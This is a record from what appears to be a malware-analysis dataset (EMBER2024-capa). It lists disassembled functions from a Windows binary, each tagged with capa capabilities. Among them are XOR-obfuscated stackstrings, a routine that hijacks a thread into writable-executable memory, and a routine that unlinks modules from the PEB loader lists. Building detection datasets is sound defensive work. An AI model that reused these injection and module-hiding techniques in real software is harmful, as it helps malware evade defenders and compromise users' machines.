joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001210a
Capabilities:
Get storage device properties

Disassembly:
push 0x30
mov eax, 0x10046e7d
call fcn.10044ac9
mov esi, dword [ebp + 8]
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push eax
push str..PhysicalDrive0
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1001214b
and dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
jmp 0x10012285
xor ecx, ecx
mov dword [ebp - 0x34], fcn.1000f525
mov dword [ebp - 0x30], ebx
xor eax, eax
mov dword [ebp - 4], ecx
lea edi, [ebp - 0x28]
mov dword [ebp - 0x1c], ecx
stosd dword es:[edi], eax
push ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
push 8
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x28], ecx
push eax
push 0xc
lea eax, [ebp - 0x28]
mov dword [ebp - 0x24], ecx
push eax
push 0x2d1400
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x100121b7
and dword [esi + 0x10], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
jb 0x100121a6
mov eax, dword [esi]
jmp 0x100121a8
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 4], 1
jmp 0x1001227a
mov eax, dword [ebp - 0x18]
push eax
mov dword [ebp - 0x2c], eax
call fcn.10044f6a
mov edi, eax
pop ecx
test edi, edi
je 0x100121da
push dword [ebp - 0x2c]
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x100121dc
xor edi, edi
mov dword [ebp - 0x3c], edi
push 0
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x2c]
lea eax, [ebp - 0x28]
push edi
push 0xc
push eax
push 0x2d1400
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x10012231
xor ecx, ecx
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], ecx
jb 0x10012219
mov eax, dword [esi]
jmp 0x1001221b
mov eax, esi
mov byte [eax], cl
test edi, edi
je 0x10012228
push edi
call fcn.10044f73
pop ecx
mov dword [ebp - 4], 3
jmp 0x1001227a
mov eax, dword [edi + 0x18]
test eax, eax
jne 0x10012262
xor ecx, ecx
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], ecx
jb 0x1001224e
mov eax, dword [esi]
jmp 0x10012250
mov eax, esi
push edi
mov byte [eax], cl
call fcn.10044f73
pop ecx
mov dword [ebp - 4], 4
jmp 0x1001227a
add eax, edi
mov ecx, esi
push eax
call fcn.100012e0
push edi
call fcn.10044f73
pop ecx
mov dword [ebp - 4], 5
test ebx, ebx
je 0x10012285
push ebx
call fcn.1000f525
pop ecx
mov eax, esi
call fcn.10044a84
ret
Function at 0x100129aa
Capabilities:
Terminate process

Disassembly:
call fcn.1001240c
push dword [0x1005b218]
call fcn.1000f3ca
pop ecx
cmp al, 0xe9
jne 0x100129d6
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 4
push dword [0x1005b218]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10012a17
mov eax, dword [0x1005b218]
mov dword [0x1005b274], eax
call fcn.10043670
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10043b40
push 0x10010e25
push 0x1005b274
call fcn.10042ef0
call fcn.100436d0
push esi
xor esi, esi
inc esi
push esi
push 0x10011eb4
push 0x48b2af
call fcn.100128e9
push esi
push 0x10011ee9
push 0x48b610
call fcn.100128e9
push esi
push 0x10011f1e
push 0x48b980
call fcn.100128e9
push esi
push 0x10011f53
push 0x48bcf0
call fcn.100128e9
push esi
push 0x10011f88
push 0x48c060
call fcn.100128e9
push esi
push 0x10011fbd
push 0x48c3d0
call fcn.100128e9
add esp, 0x48
push esi
push 0x10011ff4
push 0x48c740
call fcn.100128e9
push esi
push 0x10012029
push 0x48cab0
call fcn.100128e9
push esi
push 0x1001205e
push 0x48ce20
call fcn.100128e9
push esi
push 0x10012093
push 0x48d190
call fcn.100128e9
add esp, 0x30
pop esi
ret

Function at 0x10012ce9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1005a694]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1004d6e0]
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], eax
push esi
push edi
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], bl
mov ecx, ebx
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xf
jb 0x10012d14
sub esp, 0x18
mov byte [ebp - 0x28], bl
lea eax, [ebp - 0x37]
mov ecx, esp
push eax
call fcn.100012e0
lea eax, [ebp - 0x1c]
push eax
call fcn.100412b1
mov edi, dword [ebp + 0xc]
add esp, 0x1c
mov dword [ebp - 0x20], ebx
cmp dword [edi], ebx
jbe 0x10012d89
cmp dword [ebp - 8], 0x10
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10012d56
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x1c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x24]
xor byte [ebx + ecx], al
mov eax, dword [ebp - 0x20]
inc eax
movzx ebx, ax
mov dword [ebp - 0x20], eax
cmp ebx, dword [edi]
jb 0x10012d48
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0x1c]
call fcn.10001cd4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10044a5e
mov esp, ebp
pop ebp
ret
Function at 0x10012e7b
Capabilities:
Encode data using xor

Disassembly:
push 0x54
mov eax, 0x10046f9c
call fcn.10044ac9
cmp byte [0x1005b24a], 0
je 0x10012f8d
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [0x1005b290]
sbb edx, dword [0x1005b294]
mov dword [ebp - 0x5c], edx
jne 0x10012eb6
cmp eax, 0xbb8
jb 0x10012f8d
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
movaps xmm0, xmmword [str.L_b____]
xor ecx, ecx
mov dword [0x1005b290], eax
mov dword [0x1005b294], edx
movups xmmword [ebp - 0x58], xmm0
mov al, byte [ebp - 0x58]
xor byte [ebp + ecx - 0x57], al
inc ecx
cmp ecx, 0xe
jb 0x10012ed4
sub esp, 0x18
mov byte [ebp - 0x49], 0
lea eax, [ebp - 0x57]
mov ecx, esp
push eax
call fcn.100012e0
lea eax, [ebp - 0x48]
push eax
call fcn.100412b1
add esp, 0x1c
and dword [ebp - 4], 0
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x14], 0xa1
rep stosd dword es:[edi], eax
push 0x1000
lea ecx, [ebp - 0x30]
call fcn.100047ff
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.Packet.0
call fcn.1000540b
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x14], 0xa5
call fcn.1000540b
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.100104d0
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push eax
push dword [ebp - 0x20]
call fcn.1000f4f9
pop ecx
pop ecx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.100053e5
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10001cd4
call fcn.10044a84
ret
Function at 0x10012f93
Capabilities:
Encode data using xor

Disassembly:
push 0x6c
mov eax, 0x10046fd1
call fcn.10044a95
mov bl, byte [ebp + 8]
cmp bl, 0x41
je 0x10013044
mov edi, 0xd78dd4
push edi
call fcn.1000f3f5
pop ecx
mov esi, eax
call fcn.100014ad
cmp esi, eax
jne 0x10012fd5
push edi
call fcn.1000f3f5
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, eax
je 0x10013044
movaps xmm0, xmmword [0x1004d6d0]
movzx eax, bl
xor ebx, ebx
movups xmmword [ebp - 0x78], xmm0
mov ecx, ebx
mov dword [ebp - 0x58], 0x21f1903
movaps xmm0, xmmword [str.AM_f]
push eax
movups xmmword [ebp - 0x68], xmm0
mov word [ebp - 0x54], 1
mov al, byte [ebp - 0x78]
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 0x24
jb 0x10013000
sub esp, 0x18
mov byte [ebp - 0x53], bl
lea eax, [ebp - 0x77]
mov ecx, esp
push eax
call fcn.100012e0
lea eax, [ebp - 0x50]
push eax
call fcn.1001b71b
push eax
mov dword [ebp - 4], ebx
call fcn.10012da5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
add esp, 0x24
push ebx
push 1
call fcn.10001cd4
jmp 0x10013046
xor ebx, ebx
push dword [0x1005b27c]
call fcn.100162ff
pop ecx
test eax, eax
je 0x100130a2
movaps xmm0, xmmword [0x1004d6c0]
mov ecx, ebx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x383d39
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0x12
jb 0x1001306a
lea eax, [ebp - 0x1f]
mov byte [ebp - 0xd], bl
push eax
lea ecx, [ebp - 0x38]
call fcn.100012e0
lea eax, [ebp - 0x38]
mov dword [ebp - 4], 1
push eax
call fcn.10012da5
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x38]
call fcn.10001cd4
call fcn.10044a6f
ret

Function at 0x10015f79
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1005a694]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1004d780]
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], 0x636f6522
push esi
mov esi, ecx
mov byte [ebp - 0x20], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x13
jb 0x10015fa6
lea eax, [ebp - 0x33]
mov byte [ebp - 0x20], bl
push eax
lea eax, [ebp - 0x1c]
push 0x1005a408
push eax
call fcn.100058b7
mov eax, dword [esi + 0x1fc]
add esp, 0xc
test eax, eax
je 0x10015fdc
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x8010
cmovae eax, dword [ebp - 0x1c]
push ebx
push ebx
push 1
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x10016016
mov dword [esi + 0x14], eax
cmp byte [esi + 0x200], bl
je 0x10016016
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push ebx
push 1
lea ecx, [ebp - 0x1c]
call fcn.10001cd4
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10044a5e
mov esp, ebp
pop ebp
ret
Function at 0x100162ff
Capabilities:
Resume thread

Disassembly:
push 8
push 0x10053a70
call fcn.10044b40
mov esi, dword [ebp + 8]
test esi, esi
jne 0x10016317
or eax, 0xffffffff
jmp 0x10016374
and dword [ebp - 4], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10016337
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
jmp 0x10016374
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x1001634e
mov dword [ebp - 4], 0xfffffffe
push 2
pop eax
jmp 0x10016374
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
test eax, eax
jns 0x1001636b
mov dword [ebp - 4], 0xfffffffe
push 3
jmp 0x1001634b
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
call fcn.10044b86
ret

Function at 0x1001637a
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1005a694]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push 0xc
pop ecx
mov dl, 0x6d
mov dword [ebp - 0x2f4], 0x1193f6d
mov word [ebp - 0x2f0], 0x221
mov eax, ebx
mov byte [ebp - 0x2ee], cl
mov dword [ebp - 0x2ed], 0x1f193e09
mov dword [ebp - 0x2e9], 0xa0304
xor byte [ebp + eax - 0x2f3], dl
inc eax
cmp eax, 0xd
jae 0x100163de
mov dl, byte [ebp - 0x2f4]
jmp 0x100163c9
mov byte [ebp - 0x2e6], bl
mov eax, ebx
mov byte [ebp - 0x2e4], cl
mov dword [ebp - 0x2e3], 0x60687862
mov dword [ebp - 0x2df], 0x60682260
mov word [ebp - 0x2db], 0x60
xor byte [ebp + eax - 0x2e3], cl
inc eax
cmp eax, 9
jae 0x1001641e
mov cl, byte [ebp - 0x2e4]
jmp 0x10016409
lea eax, [ebp - 0x2f3]
mov byte [ebp - 0x2da], bl
push eax
lea eax, [ebp - 0x2e3]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x10016450
xor eax, eax
jmp 0x100164ef
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10016449
push 0x2cc
lea eax, [ebp - 0x2d8]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10016449
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10016449
lea eax, [ebp - 0x2d8]
mov ebx, 0x10002
push eax
push esi
mov dword [ebp - 0x2d8], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10016449
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], edi
push eax
push esi
mov dword [ebp - 0x2d8], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10016449
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10044a5e
mov esp, ebp
pop ebp
ret
Function at 0x10016500
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10016536
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001653a
cmp edx, esi
jne 0x1001651f
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x1001655a
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001655e
cmp edx, esi
jne 0x10016543
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x1001657e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10016582
cmp edx, esi
jne 0x10016567
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10016613
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], 0x3828325c
mov cl, 0x5c
mov dword [ebp - 8], 0x38723030
mov word [ebp - 4], 0x3030
mov eax, ebx
mov byte [ebp - 2], bl
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 9
jae 0x10016646
mov cl, byte [ebp - 0xc]
jmp 0x10016637
lea eax, [ebp - 0xb]
mov byte [ebp - 2], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1001665d
xor al, al
jmp 0x100166b9
movaps xmm0, xmmword [0x1004d7b0]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x3f251923
mov dword [ebp - 0x10], 0x292c28
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x16
jb 0x10016678
push esi
lea eax, [ebp - 0x23]
mov byte [ebp - 0xd], bl
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1001669e
xor al, al
jmp 0x100166b8
mov eax, dword [ebp + 8]
test eax, eax
jne 0x100166ab
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push ebx
push ebx
push 0x11
push eax
call esi
neg eax
sbb al, al
inc al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001778e
Capabilities:
Encode data using xor

Disassembly:
push 0x50
mov eax, 0x10047259
call fcn.10044a95
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x14], 0x32393b5c
mov dl, 0x5c
mov word [ebp - 0x10], 0x3935
mov byte [ebp - 0xe], bl
mov eax, ebx
xor byte [ebp + eax - 0x13], dl
inc eax
cmp eax, 5
jae 0x100177c1
mov dl, byte [ebp - 0x14]
jmp 0x100177b2
lea eax, [ebp - 0x13]
mov byte [ebp - 0xe], bl
push eax
lea ecx, [ebp - 0x44]
call fcn.100012e0
lea eax, [ebp - 0x44]
mov dword [ebp - 4], ebx
push eax
push dword [esi + 8]
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
mov edi, eax
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x44]
call fcn.10001cd4
mov cl, 0x4d
mov dword [ebp - 0x14], 0x39392c4d
mov dword [ebp - 0x10], 0x262e2c
mov eax, ebx
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 6
jae 0x10017813
mov cl, byte [ebp - 0x14]
jmp 0x10017804
lea eax, [ebp - 0x13]
mov byte [ebp - 0xd], bl
push eax
lea ecx, [ebp - 0x44]
call fcn.100012e0
lea eax, [ebp - 0x44]
mov dword [ebp - 4], 1
push eax
push edi
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
mov edi, eax
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x44]
call fcn.10001cd4
movaps xmm0, xmmword [str._HOIdUTOdZOOZXP]
mov ecx, ebx
movups xmmword [ebp - 0x1c], xmm0
mov al, byte [ebp - 0x1c]
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x10017853
lea eax, [ebp - 0x1b]
mov byte [ebp - 0xd], bl
push eax
lea ecx, [ebp - 0x44]
call fcn.100012e0
lea eax, [ebp - 0x44]
mov dword [ebp - 4], 2
push eax
push edi
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x44]
mov dword [esi], eax
call fcn.10001cd4
movaps xmm0, xmmword [0x1004d880]
mov ecx, ebx
movups xmmword [ebp - 0x2c], xmm0
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0xe
jb 0x100178a0
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x1d], bl
push eax
lea ecx, [ebp - 0x5c]
call fcn.100012e0
lea eax, [ebp - 0x5c]
mov dword [ebp - 4], 3
push eax
push edi
call fcn.1000e2fb
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x5c]
mov dword [esi + 4], eax
call fcn.10001cd4
call fcn.10044a6f
ret
Function at 0x100178e3
Capabilities:
Encode data using xor

Disassembly:
push 0x40
mov eax, 0x1004727c
call fcn.10044a95
mov esi, ecx
mov eax, dword [esi + 8]
mov dword [0x1005b384], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x100179a7
cmp dword [ebp + 0xc], 1
jne 0x100179a7
cmp dword [esi + 4], 0
je 0x100179a3
cmp eax, dword [esi + 4]
jne 0x100179a3
cmp byte [0x1005b36c], 0
sete al
xor ebx, ebx
mov byte [0x1005b36c], al
mov ecx, ebx
test al, al
je 0x1001795e
movaps xmm0, xmmword [0x1004d8c0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x26
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x10
jb 0x10017949
mov byte [ebp - 0x23], bl
lea eax, [ebp - 0x33]
jmp 0x1001797f
movaps xmm0, xmmword [0x1004d8b0]
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 0x10], bl
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xf
jb 0x1001796c
mov byte [ebp - 0x10], bl
lea eax, [ebp - 0x1f]
push eax
lea ecx, [ebp - 0x4c]
call fcn.100012e0
lea eax, [ebp - 0x4c]
mov dword [ebp - 4], ebx
push eax
push dword [esi]
call fcn.1000f1a6
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.10001cd4
mov al, 1
jmp 0x100179a9
xor al, al
call fcn.10044a6f
ret 8
Function at 0x10018dad
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x48
mov eax, 0x10047431
call fcn.10044a95
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x24], 0x7469780c
mov cl, 0xc
mov dword [ebp - 0x20], 0x5c4a5378
mov word [ebp - 0x1c], 0x5f
mov eax, ebx
xor byte [ebp + eax - 0x23], cl
inc eax
cmp eax, 8
jae 0x10018de4
mov cl, byte [ebp - 0x24]
jmp 0x10018dd5
lea eax, [ebp - 0x23]
mov byte [ebp - 0x1b], bl
push eax
lea ecx, [ebp - 0x3c]
call fcn.100012e0
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], ebx
push eax
push dword [esi]
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
xor edi, edi
pop ecx
pop ecx
push ebx
inc edi
mov dword [esi + 8], eax
push edi
lea ecx, [ebp - 0x3c]
call fcn.10001cd4
mov cl, 0x6d
mov dword [ebp - 0x18], 0x1508196d
mov dword [ebp - 0x14], 0x3e203219
mov eax, ebx
mov byte [ebp - 0x10], bl
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 7
jae 0x10018e3b
mov cl, byte [ebp - 0x18]
jmp 0x10018e2c
lea eax, [ebp - 0x17]
mov byte [ebp - 0x10], bl
push eax
lea ecx, [ebp - 0x54]
call fcn.100012e0
lea eax, [ebp - 0x54]
mov dword [ebp - 4], edi
push eax
push dword [esi]
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x54]
mov dword [esi + 0xc], eax
call fcn.10001cd4
mov edi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push dword [esi + 8]
call edi
test eax, eax
je 0x10018e7f
mov dword [esi + 8], ebx
push 4
push dword [esi + 0xc]
call edi
test eax, eax
je 0x10018e8d
mov dword [esi + 0xc], ebx
push dword [esi + 4]
call fcn.1000e4a8
or eax, 1
push eax
push dword [esi + 4]
call fcn.1000e85d
add esp, 0xc
call fcn.10044a6f
ret
Function at 0x1001bb66
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x50
mov eax, 0x10048c7e
call fcn.10044a95
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x20], 0x7874780c
mov dl, 0xc
mov dword [ebp - 0x1c], 0x78657853
mov word [ebp - 0x18], 0x6960
mov eax, ebx
mov byte [ebp - 0x16], bl
xor byte [ebp + eax - 0x1f], dl
inc eax
cmp eax, 9
jae 0x1001bba0
mov dl, byte [ebp - 0x20]
jmp 0x1001bb91
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x16], bl
push eax
lea ecx, [ebp - 0x44]
call fcn.100012e0
lea eax, [ebp - 0x44]
mov dword [ebp - 4], ebx
push eax
push dword [esi + 4]
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
xor edi, edi
pop ecx
pop ecx
push ebx
inc edi
mov dword [esi + 8], eax
push edi
lea ecx, [ebp - 0x44]
call fcn.10001cd4
mov cl, 0x6d
mov dword [ebp - 0x20], 0x21f0a6d
mov dword [ebp - 0x1c], 0xf321d18
mov eax, ebx
mov dword [ebp - 0x18], 0x81e0c
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xa
jae 0x1001bbfc
mov cl, byte [ebp - 0x20]
jmp 0x1001bbed
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x15], bl
push eax
lea ecx, [ebp - 0x44]
call fcn.100012e0
lea eax, [ebp - 0x44]
mov dword [ebp - 4], edi
push eax
push dword [esi + 4]
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x44]
mov dword [esi + 0xc], eax
call fcn.10001cd4
mov cl, 0x5c
mov dword [ebp - 0x20], 0x32283e5c
mov dword [ebp - 0x1c], 0x33342f03
mov eax, ebx
mov word [ebp - 0x18], 0x2b
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 8
jae 0x1001bc54
mov cl, byte [ebp - 0x20]
jmp 0x1001bc45
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x17], bl
push eax
lea ecx, [ebp - 0x44]
call fcn.100012e0
lea eax, [ebp - 0x44]
mov dword [ebp - 4], 2
push eax
push dword [esi + 0xc]
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
pop ecx
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x44]
mov dword [esi], eax
call fcn.10001cd4
mov edi, ebx
mov dword [ebp - 0x10], 0xa
lea ebx, [esi + 0x10]
push edi
mov cl, 0x4d
mov dword [ebp - 0x20], 0x223f2a4d
mov dword [ebp - 0x1c], 0x68123d38
xor eax, eax
mov word [ebp - 0x18], 0x29
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 8
jae 0x1001bcbc
mov cl, byte [ebp - 0x20]
jmp 0x1001bcad
sub esp, 0x18
mov byte [ebp - 0x17], 0
lea eax, [ebp - 0x1f]
mov ecx, esp
push eax
call fcn.100012e0
lea eax, [ebp - 0x44]
push eax
call fcn.1001b71b
push eax
push dword [esi + 4]
mov dword [ebp - 4], 3
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
add esp, 0x28
mov dword [ebx], eax
push 0
push 1
call fcn.10001cd4
push edi
mov cl, 0x3b
mov dword [ebp - 0x2c], 0x4f434f3b
mov dword [ebp - 0x28], 0x5c485664
xor eax, eax
mov dword [ebp - 0x24], 0x5f1e64
xor byte [ebp + eax - 0x2b], cl
inc eax
cmp eax, 0xa
jae 0x1001bd25
mov cl, byte [ebp - 0x2c]
jmp 0x1001bd16
sub esp, 0x18
mov byte [ebp - 0x21], 0
lea eax, [ebp - 0x2b]
mov ecx, esp
push eax
call fcn.100012e0
lea eax, [ebp - 0x5c]
push eax
call fcn.1001b71b
push eax
push dword [ebx]
mov dword [ebp - 4], 4
call fcn.1000e2fb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
add esp, 0x28
mov dword [ebx + 0x28], eax
push 0
push 1
call fcn.10001cd4
inc edi
add ebx, 4
sub dword [ebp - 0x10], 1
jne 0x1001bc94
call fcn.10044a6f
ret